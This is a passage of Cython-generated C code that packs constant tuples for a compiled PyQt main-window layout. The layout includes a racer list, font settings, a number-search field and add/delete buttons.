<<<<<<<<<<<<<< * self.L_racerlist = QtWidgets.QListWidget(self.scrollAreaWidgetContents) * self.L_racerlist.setGeometry(QtCore.QRect(0, 0, 256, 491)) */ __pyx_tuple__22 = PyTuple_Pack(1, __pyx_n_u_scrollAreaWidgetContents); if (unlikely(!__pyx_tuple__22)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__22); __Pyx_GIVEREF(__pyx_tuple__22); /* "Ui_MainWindow.py":41 * self.scrollAreaWidgetContents.setObjectName("scrollAreaWidgetContents") * self.L_racerlist = QtWidgets.QListWidget(self.scrollAreaWidgetContents) * self.L_racerlist.setGeometry(QtCore.QRect(0, 0, 256, 491)) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setFamily("Bitstream Charter") */ __pyx_tuple__23 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_0, __pyx_int_256, __pyx_int_491); if (unlikely(!__pyx_tuple__23)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__23); __Pyx_GIVEREF(__pyx_tuple__23); /* "Ui_MainWindow.py":43 * self.L_racerlist.setGeometry(QtCore.QRect(0, 0, 256, 491)) * font = QtGui.QFont() * font.setFamily("Bitstream Charter") # <<<<<<<<<<<<<< * font.setPointSize(10) * font.setBold(False) */ __pyx_tuple__24 = PyTuple_Pack(1, __pyx_kp_u_Bitstream_Charter); if (unlikely(!__pyx_tuple__24)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__24); __Pyx_GIVEREF(__pyx_tuple__24); /* "Ui_MainWindow.py":44 * font = QtGui.QFont() * font.setFamily("Bitstream Charter") * font.setPointSize(10) # <<<<<<<<<<<<<< * font.setBold(False) * font.setItalic(False) */ __pyx_tuple__25 = PyTuple_Pack(1, __pyx_int_10); if (unlikely(!__pyx_tuple__25)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__25); __Pyx_GIVEREF(__pyx_tuple__25); /* "Ui_MainWindow.py":45 * font.setFamily("Bitstream Charter") * font.setPointSize(10) * font.setBold(False) # <<<<<<<<<<<<<< * font.setItalic(False) * font.setWeight(50) */ __pyx_tuple__26 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__26)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__26); __Pyx_GIVEREF(__pyx_tuple__26); /* "Ui_MainWindow.py":46 * font.setPointSize(10) * font.setBold(False) * font.setItalic(False) # <<<<<<<<<<<<<< * font.setWeight(50) * font.setKerning(False) */ __pyx_tuple__27 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__27); __Pyx_GIVEREF(__pyx_tuple__27); /* "Ui_MainWindow.py":47 * font.setBold(False) * font.setItalic(False) * font.setWeight(50) # <<<<<<<<<<<<<< * font.setKerning(False) * self.L_racerlist.setFont(font) */ __pyx_tuple__28 = PyTuple_Pack(1, __pyx_int_50); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__28); __Pyx_GIVEREF(__pyx_tuple__28); /* "Ui_MainWindow.py":48 * font.setItalic(False) * font.setWeight(50) * font.setKerning(False) # <<<<<<<<<<<<<< * self.L_racerlist.setFont(font) * self.L_racerlist.setMouseTracking(True) */ __pyx_tuple__29 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__29)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__29); __Pyx_GIVEREF(__pyx_tuple__29); /* "Ui_MainWindow.py":50 * font.setKerning(False) * self.L_racerlist.setFont(font) * self.L_racerlist.setMouseTracking(True) # <<<<<<<<<<<<<< * self.L_racerlist.setAcceptDrops(True) * self.L_racerlist.setStyleSheet("font: 10pt \"Bitstream Charter\";") */ __pyx_tuple__30 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__30)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__30); __Pyx_GIVEREF(__pyx_tuple__30); /* "Ui_MainWindow.py":51 * self.L_racerlist.setFont(font) * self.L_racerlist.setMouseTracking(True) * self.L_racerlist.setAcceptDrops(True) # <<<<<<<<<<<<<< * self.L_racerlist.setStyleSheet("font: 10pt \"Bitstream Charter\";") * self.L_racerlist.setInputMethodHints(QtCore.Qt.ImhPreferLatin) */ __pyx_tuple__31 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__31)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__31); __Pyx_GIVEREF(__pyx_tuple__31); /* "Ui_MainWindow.py":52 * self.L_racerlist.setMouseTracking(True) * self.L_racerlist.setAcceptDrops(True) * self.L_racerlist.setStyleSheet("font: 10pt \"Bitstream Charter\";") # <<<<<<<<<<<<<< * self.L_racerlist.setInputMethodHints(QtCore.Qt.ImhPreferLatin) * self.L_racerlist.setDefaultDropAction(QtCore.Qt.CopyAction) */ __pyx_tuple__32 = PyTuple_Pack(1, __pyx_kp_u_font_10pt_Bitstream_Charter); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__32); __Pyx_GIVEREF(__pyx_tuple__32); /* "Ui_MainWindow.py":55 * self.L_racerlist.setInputMethodHints(QtCore.Qt.ImhPreferLatin) * self.L_racerlist.setDefaultDropAction(QtCore.Qt.CopyAction) * self.L_racerlist.setProperty("isWrapping", False) # <<<<<<<<<<<<<< * self.L_racerlist.setViewMode(QtWidgets.QListView.ListMode) * self.L_racerlist.setModelColumn(0) */ __pyx_tuple__33 = PyTuple_Pack(2, __pyx_n_u_isWrapping, Py_False); if (unlikely(!__pyx_tuple__33)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__33); __Pyx_GIVEREF(__pyx_tuple__33); /* "Ui_MainWindow.py":57 * self.L_racerlist.setProperty("isWrapping", False) * self.L_racerlist.setViewMode(QtWidgets.QListView.ListMode) * self.L_racerlist.setModelColumn(0) # <<<<<<<<<<<<<< * self.L_racerlist.setObjectName("L_racerlist") * self.gridLayoutWidget = QtWidgets.QWidget(self.scrollAreaWidgetContents) */ __pyx_tuple__34 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__34)) __PYX_ERR(0, 57, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__34); __Pyx_GIVEREF(__pyx_tuple__34); /* "Ui_MainWindow.py":58 * self.L_racerlist.setViewMode(QtWidgets.QListView.ListMode) * self.L_racerlist.setModelColumn(0) * self.L_racerlist.setObjectName("L_racerlist") # <<<<<<<<<<<<<< * self.gridLayoutWidget = QtWidgets.QWidget(self.scrollAreaWidgetContents) * self.gridLayoutWidget.setGeometry(QtCore.QRect(0, 490, 261, 41)) */ __pyx_tuple__35 = PyTuple_Pack(1, __pyx_n_u_L_racerlist); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__35); __Pyx_GIVEREF(__pyx_tuple__35); /* "Ui_MainWindow.py":60 * self.L_racerlist.setObjectName("L_racerlist") * self.gridLayoutWidget = QtWidgets.QWidget(self.scrollAreaWidgetContents) * self.gridLayoutWidget.setGeometry(QtCore.QRect(0, 490, 261, 41)) # <<<<<<<<<<<<<< * self.gridLayoutWidget.setObjectName("gridLayoutWidget") * self.gridLayout = QtWidgets.QGridLayout(self.gridLayoutWidget) */ __pyx_tuple__36 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_490, __pyx_int_261, __pyx_int_41); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__36); __Pyx_GIVEREF(__pyx_tuple__36); /* "Ui_MainWindow.py":61 * self.gridLayoutWidget = QtWidgets.QWidget(self.scrollAreaWidgetContents) * self.gridLayoutWidget.setGeometry(QtCore.QRect(0, 490, 261, 41)) * self.gridLayoutWidget.setObjectName("gridLayoutWidget") # <<<<<<<<<<<<<< * self.gridLayout = QtWidgets.QGridLayout(self.gridLayoutWidget) * self.gridLayout.setContentsMargins(6, 0, 6, 0) */ __pyx_tuple__37 = PyTuple_Pack(1, __pyx_n_u_gridLayoutWidget); if (unlikely(!__pyx_tuple__37)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__37); __Pyx_GIVEREF(__pyx_tuple__37); /* "Ui_MainWindow.py":63 * self.gridLayoutWidget.setObjectName("gridLayoutWidget") * self.gridLayout = QtWidgets.QGridLayout(self.gridLayoutWidget) * self.gridLayout.setContentsMargins(6, 0, 6, 0) # <<<<<<<<<<<<<< * self.gridLayout.setHorizontalSpacing(4) * self.gridLayout.setVerticalSpacing(0) */ __pyx_tuple__38 = PyTuple_Pack(4, __pyx_int_6, __pyx_int_0, __pyx_int_6, __pyx_int_0); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__38); __Pyx_GIVEREF(__pyx_tuple__38); /* "Ui_MainWindow.py":64 * self.gridLayout = QtWidgets.QGridLayout(self.gridLayoutWidget) * self.gridLayout.setContentsMargins(6, 0, 6, 0) * self.gridLayout.setHorizontalSpacing(4) # <<<<<<<<<<<<<< * self.gridLayout.setVerticalSpacing(0) * self.gridLayout.setObjectName("gridLayout") */ __pyx_tuple__39 = PyTuple_Pack(1, __pyx_int_4); if (unlikely(!__pyx_tuple__39)) __PYX_ERR(0, 64, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__39); __Pyx_GIVEREF(__pyx_tuple__39); /* "Ui_MainWindow.py":65 * self.gridLayout.setContentsMargins(6, 0, 6, 0) * self.gridLayout.setHorizontalSpacing(4) * self.gridLayout.setVerticalSpacing(0) # <<<<<<<<<<<<<< * self.gridLayout.setObjectName("gridLayout") * self.horizontalLayout = QtWidgets.QHBoxLayout() */ __pyx_tuple__40 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__40)) __PYX_ERR(0, 65, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__40); __Pyx_GIVEREF(__pyx_tuple__40); /* "Ui_MainWindow.py":66 * self.gridLayout.setHorizontalSpacing(4) * self.gridLayout.setVerticalSpacing(0) * self.gridLayout.setObjectName("gridLayout") # <<<<<<<<<<<<<< * self.horizontalLayout = QtWidgets.QHBoxLayout() * self.horizontalLayout.setObjectName("horizontalLayout") */ __pyx_tuple__41 = PyTuple_Pack(1, __pyx_n_u_gridLayout); if (unlikely(!__pyx_tuple__41)) __PYX_ERR(0, 66, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__41); __Pyx_GIVEREF(__pyx_tuple__41); /* "Ui_MainWindow.py":68 * self.gridLayout.setObjectName("gridLayout") * self.horizontalLayout = QtWidgets.QHBoxLayout() * self.horizontalLayout.setObjectName("horizontalLayout") # <<<<<<<<<<<<<< * self.label_2 = QtWidgets.QLabel(self.gridLayoutWidget) * self.label_2.setEnabled(True) */ __pyx_tuple__42 = PyTuple_Pack(1, __pyx_n_u_horizontalLayout); if (unlikely(!__pyx_tuple__42)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__42); __Pyx_GIVEREF(__pyx_tuple__42); /* "Ui_MainWindow.py":70 * self.horizontalLayout.setObjectName("horizontalLayout") * self.label_2 = QtWidgets.QLabel(self.gridLayoutWidget) * self.label_2.setEnabled(True) # <<<<<<<<<<<<<< * self.label_2.setMaximumSize(QtCore.QSize(80, 60)) * font = QtGui.QFont() */ __pyx_tuple__43 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__43)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__43); __Pyx_GIVEREF(__pyx_tuple__43); /* "Ui_MainWindow.py":71 * self.label_2 = QtWidgets.QLabel(self.gridLayoutWidget) * self.label_2.setEnabled(True) * self.label_2.setMaximumSize(QtCore.QSize(80, 60)) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setPointSize(10) */ __pyx_tuple__44 = PyTuple_Pack(2, __pyx_int_80, __pyx_int_60); if (unlikely(!__pyx_tuple__44)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__44); __Pyx_GIVEREF(__pyx_tuple__44); /* "Ui_MainWindow.py":73 * self.label_2.setMaximumSize(QtCore.QSize(80, 60)) * font = QtGui.QFont() * font.setPointSize(10) # <<<<<<<<<<<<<< * font.setBold(False) * font.setWeight(50) */ __pyx_tuple__45 = PyTuple_Pack(1, __pyx_int_10); if (unlikely(!__pyx_tuple__45)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__45); __Pyx_GIVEREF(__pyx_tuple__45); /* "Ui_MainWindow.py":74 * font = QtGui.QFont() * font.setPointSize(10) * font.setBold(False) # <<<<<<<<<<<<<< * font.setWeight(50) * font.setKerning(True) */ __pyx_tuple__46 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__46)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__46); __Pyx_GIVEREF(__pyx_tuple__46); /* "Ui_MainWindow.py":75 * font.setPointSize(10) * font.setBold(False) * font.setWeight(50) # <<<<<<<<<<<<<< * font.setKerning(True) * self.label_2.setFont(font) */ __pyx_tuple__47 = PyTuple_Pack(1, __pyx_int_50); if (unlikely(!__pyx_tuple__47)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__47); __Pyx_GIVEREF(__pyx_tuple__47); /* "Ui_MainWindow.py":76 * font.setBold(False) * font.setWeight(50) * font.setKerning(True) # <<<<<<<<<<<<<< * self.label_2.setFont(font) * self.label_2.setToolTip("") */ __pyx_tuple__48 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__48)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__48); __Pyx_GIVEREF(__pyx_tuple__48); /* "Ui_MainWindow.py":78 * font.setKerning(True) * self.label_2.setFont(font) * self.label_2.setToolTip("") # <<<<<<<<<<<<<< * self.label_2.setStatusTip("") * self.label_2.setAccessibleName("") */ __pyx_tuple__49 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__49)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__49); __Pyx_GIVEREF(__pyx_tuple__49); /* "Ui_MainWindow.py":79 * self.label_2.setFont(font) * self.label_2.setToolTip("") * self.label_2.setStatusTip("") # <<<<<<<<<<<<<< * self.label_2.setAccessibleName("") * self.label_2.setAccessibleDescription("") */ __pyx_tuple__50 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__50)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__50); __Pyx_GIVEREF(__pyx_tuple__50); /* "Ui_MainWindow.py":80 * self.label_2.setToolTip("") * self.label_2.setStatusTip("") * self.label_2.setAccessibleName("") # <<<<<<<<<<<<<< * self.label_2.setAccessibleDescription("") * self.label_2.setLayoutDirection(QtCore.Qt.RightToLeft) */ __pyx_tuple__51 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__51)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__51); __Pyx_GIVEREF(__pyx_tuple__51); /* "Ui_MainWindow.py":81 * self.label_2.setStatusTip("") * self.label_2.setAccessibleName("") * self.label_2.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.label_2.setLayoutDirection(QtCore.Qt.RightToLeft) * self.label_2.setObjectName("label_2") */ __pyx_tuple__52 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__52)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__52); __Pyx_GIVEREF(__pyx_tuple__52); /* "Ui_MainWindow.py":83 * self.label_2.setAccessibleDescription("") * self.label_2.setLayoutDirection(QtCore.Qt.RightToLeft) * self.label_2.setObjectName("label_2") # <<<<<<<<<<<<<< * self.horizontalLayout.addWidget(self.label_2) * self.findNumber = QtWidgets.QLineEdit(self.gridLayoutWidget) */ __pyx_tuple__53 = PyTuple_Pack(1, __pyx_n_u_label_2); if (unlikely(!__pyx_tuple__53)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__53); __Pyx_GIVEREF(__pyx_tuple__53); /* "Ui_MainWindow.py":86 * self.horizontalLayout.addWidget(self.label_2) * self.findNumber = QtWidgets.QLineEdit(self.gridLayoutWidget) * self.findNumber.setMaximumSize(QtCore.QSize(100, 60)) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setKerning(True) */ __pyx_tuple__54 = PyTuple_Pack(2, __pyx_int_100, __pyx_int_60); if (unlikely(!__pyx_tuple__54)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__54); __Pyx_GIVEREF(__pyx_tuple__54); /* "Ui_MainWindow.py":88 * self.findNumber.setMaximumSize(QtCore.QSize(100, 60)) * font = QtGui.QFont() * font.setKerning(True) # <<<<<<<<<<<<<< * self.findNumber.setFont(font) * self.findNumber.setMouseTracking(True) */ __pyx_tuple__55 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__55)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__55); __Pyx_GIVEREF(__pyx_tuple__55); /* "Ui_MainWindow.py":90 * font.setKerning(True) * self.findNumber.setFont(font) * self.findNumber.setMouseTracking(True) # <<<<<<<<<<<<<< * self.findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) * self.findNumber.setAcceptDrops(False) */ __pyx_tuple__56 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__56)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__56); __Pyx_GIVEREF(__pyx_tuple__56); /* "Ui_MainWindow.py":92 * self.findNumber.setMouseTracking(True) * self.findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) * self.findNumber.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.findNumber.setToolTip("") * self.findNumber.setStatusTip("") */ __pyx_tuple__57 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__57)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__57); __Pyx_GIVEREF(__pyx_tuple__57); /* "Ui_MainWindow.py":93 * self.findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) * self.findNumber.setAcceptDrops(False) * self.findNumber.setToolTip("") # <<<<<<<<<<<<<< * self.findNumber.setStatusTip("") * self.findNumber.setAccessibleName("") */ __pyx_tuple__58 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__58)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__58); __Pyx_GIVEREF(__pyx_tuple__58); /* "Ui_MainWindow.py":94 * self.findNumber.setAcceptDrops(False) * self.findNumber.setToolTip("") * self.findNumber.setStatusTip("") # <<<<<<<<<<<<<< * self.findNumber.setAccessibleName("") * self.findNumber.setAccessibleDescription("") */ __pyx_tuple__59 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__59)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__59); __Pyx_GIVEREF(__pyx_tuple__59); /* "Ui_MainWindow.py":95 * self.findNumber.setToolTip("") * self.findNumber.setStatusTip("") * self.findNumber.setAccessibleName("") # <<<<<<<<<<<<<< * self.findNumber.setAccessibleDescription("") * self.findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) */ __pyx_tuple__60 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__60)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__60); __Pyx_GIVEREF(__pyx_tuple__60); /* "Ui_MainWindow.py":96 * self.findNumber.setStatusTip("") * self.findNumber.setAccessibleName("") * self.findNumber.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) * self.findNumber.setInputMask("") */ __pyx_tuple__61 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__61)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__61); __Pyx_GIVEREF(__pyx_tuple__61); /* "Ui_MainWindow.py":98 * self.findNumber.setAccessibleDescription("") * self.findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) * self.findNumber.setInputMask("") # <<<<<<<<<<<<<< * self.findNumber.setText("") * self.findNumber.setMaxLength(5) */ __pyx_tuple__62 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__62)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__62); __Pyx_GIVEREF(__pyx_tuple__62); /* "Ui_MainWindow.py":99 * self.findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) * self.findNumber.setInputMask("") * self.findNumber.setText("") # <<<<<<<<<<<<<< * self.findNumber.setMaxLength(5) * self.findNumber.setPlaceholderText("") */ __pyx_tuple__63 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__63)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__63); __Pyx_GIVEREF(__pyx_tuple__63); /* "Ui_MainWindow.py":100 * self.findNumber.setInputMask("") * self.findNumber.setText("") * self.findNumber.setMaxLength(5) # <<<<<<<<<<<<<< * self.findNumber.setPlaceholderText("") * self.findNumber.setObjectName("findNumber") */ __pyx_tuple__64 = PyTuple_Pack(1, __pyx_int_5); if (unlikely(!__pyx_tuple__64)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__64); __Pyx_GIVEREF(__pyx_tuple__64); /* "Ui_MainWindow.py":101 * self.findNumber.setText("") * self.findNumber.setMaxLength(5) * self.findNumber.setPlaceholderText("") # <<<<<<<<<<<<<< * self.findNumber.setObjectName("findNumber") * self.horizontalLayout.addWidget(self.findNumber) */ __pyx_tuple__65 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__65)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__65); __Pyx_GIVEREF(__pyx_tuple__65); /* "Ui_MainWindow.py":102 * self.findNumber.setMaxLength(5) * self.findNumber.setPlaceholderText("") * self.findNumber.setObjectName("findNumber") # <<<<<<<<<<<<<< * self.horizontalLayout.addWidget(self.findNumber) * self.gridLayout.addLayout(self.horizontalLayout, 0, 2, 1, 1) */ __pyx_tuple__66 = PyTuple_Pack(1, __pyx_n_u_findNumber); if (unlikely(!__pyx_tuple__66)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__66); __Pyx_GIVEREF(__pyx_tuple__66); /* "Ui_MainWindow.py":106 * self.gridLayout.addLayout(self.horizontalLayout, 0, 2, 1, 1) * self.RB_Add = QtWidgets.QToolButton(self.gridLayoutWidget) * self.RB_Add.setToolTip("") # <<<<<<<<<<<<<< * self.RB_Add.setStatusTip("") * self.RB_Add.setAccessibleName("") */ __pyx_tuple__67 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__67)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__67); __Pyx_GIVEREF(__pyx_tuple__67); /* "Ui_MainWindow.py":107 * self.RB_Add = QtWidgets.QToolButton(self.gridLayoutWidget) * self.RB_Add.setToolTip("") * self.RB_Add.setStatusTip("") # <<<<<<<<<<<<<< * self.RB_Add.setAccessibleName("") * self.RB_Add.setAccessibleDescription("") */ __pyx_tuple__68 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__68)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__68); __Pyx_GIVEREF(__pyx_tuple__68); /* "Ui_MainWindow.py":108 * self.RB_Add.setToolTip("") * self.RB_Add.setStatusTip("") * self.RB_Add.setAccessibleName("") # <<<<<<<<<<<<<< * self.RB_Add.setAccessibleDescription("") * self.RB_Add.setShortcut("") */ __pyx_tuple__69 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__69)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__69); __Pyx_GIVEREF(__pyx_tuple__69); /* "Ui_MainWindow.py":109 * self.RB_Add.setStatusTip("") * self.RB_Add.setAccessibleName("") * self.RB_Add.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RB_Add.setShortcut("") * self.RB_Add.setObjectName("RB_Add") */ __pyx_tuple__70 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__70)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__70); __Pyx_GIVEREF(__pyx_tuple__70); /* "Ui_MainWindow.py":110 * self.RB_Add.setAccessibleName("") * self.RB_Add.setAccessibleDescription("") * self.RB_Add.setShortcut("") # <<<<<<<<<<<<<< * self.RB_Add.setObjectName("RB_Add") * self.gridLayout.addWidget(self.RB_Add, 0, 0, 1, 1) */ __pyx_tuple__71 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__71)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__71); __Pyx_GIVEREF(__pyx_tuple__71); /* "Ui_MainWindow.py":111 * self.RB_Add.setAccessibleDescription("") * self.RB_Add.setShortcut("") * self.RB_Add.setObjectName("RB_Add") # <<<<<<<<<<<<<< * self.gridLayout.addWidget(self.RB_Add, 0, 0, 1, 1) * self.RB_Del = QtWidgets.QToolButton(self.gridLayoutWidget) */ __pyx_tuple__72 = PyTuple_Pack(1, __pyx_n_u_RB_Add); if (unlikely(!__pyx_tuple__72)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__72); __Pyx_GIVEREF(__pyx_tuple__72); /* "Ui_MainWindow.py":114 * self.gridLayout.addWidget(self.RB_Add, 0, 0, 1, 1) * self.RB_Del = QtWidgets.QToolButton(self.gridLayoutWidget) * self.RB_Del.setObjectName("RB_Del") # <<<<<<<<<<<<<< * self.gridLayout.addWidget(self.RB_Del, 0, 1, 1, 1) * self.scrollArea.setWidget(self.scrollAreaWidgetContents) */ __pyx_tuple__73 = PyTuple_Pack(1, __pyx_n_u_RB_Del); if (unlikely(!__pyx_tuple__73)) __PYX_ERR(0, 114, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__73); __Pyx_GIVEREF(__pyx_tuple__73); /* "Ui_MainWindow.py":118 * self.scrollArea.setWidget(self.scrollAreaWidgetContents) * self.formLayoutWidget = QtWidgets.QWidget(self.T_Racer) * self.formLayoutWidget.setGeometry(QtCore.QRect(260, 0, 800, 521)) # <<<<<<<<<<<<<< * self.formLayoutWidget.setObjectName("formLayoutWidget") * self.formLayout = QtWidgets.QFormLayout(self.formLayoutWidget) */ __pyx_tuple__74 = PyTuple_Pack(4, __pyx_int_260, __pyx_int_0, __pyx_int_800, __pyx_int_521); if (unlikely(!__pyx_tuple__74)) __PYX_ERR(0, 118, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__74); __Pyx_GIVEREF(__pyx_tuple__74); /* "Ui_MainWindow.py":119 * self.formLayoutWidget = QtWidgets.QWidget(self.T_Racer) * self.formLayoutWidget.setGeometry(QtCore.QRect(260, 0, 800, 521)) * self.formLayoutWidget.setObjectName("formLayoutWidget") # <<<<<<<<<<<<<< * self.formLayout = QtWidgets.QFormLayout(self.formLayoutWidget) * self.formLayout.setFieldGrowthPolicy(QtWidgets.QFormLayout.FieldsStayAtSizeHint) */ __pyx_tuple__75 = PyTuple_Pack(1, __pyx_n_u_formLayoutWidget); if (unlikely(!__pyx_tuple__75)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__75); __Pyx_GIVEREF(__pyx_tuple__75); /* "Ui_MainWindow.py":123 * self.formLayout.setFieldGrowthPolicy(QtWidgets.QFormLayout.FieldsStayAtSizeHint) * self.formLayout.setRowWrapPolicy(QtWidgets.QFormLayout.DontWrapRows) * self.formLayout.setContentsMargins(0, 0, 0, 0) # <<<<<<<<<<<<<< * self.formLayout.setVerticalSpacing(2) * self.formLayout.setObjectName("formLayout") */ __pyx_tuple__76 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_0, __pyx_int_0, __pyx_int_0); if (unlikely(!__pyx_tuple__76)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__76); __Pyx_GIVEREF(__pyx_tuple__76); /* "Ui_MainWindow.py":124 * self.formLayout.setRowWrapPolicy(QtWidgets.QFormLayout.DontWrapRows) * self.formLayout.setContentsMargins(0, 0, 0, 0) * self.formLayout.setVerticalSpacing(2) # <<<<<<<<<<<<<< * self.formLayout.setObjectName("formLayout") * self.label = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_tuple__77 = PyTuple_Pack(1, __pyx_int_2); if (unlikely(!__pyx_tuple__77)) 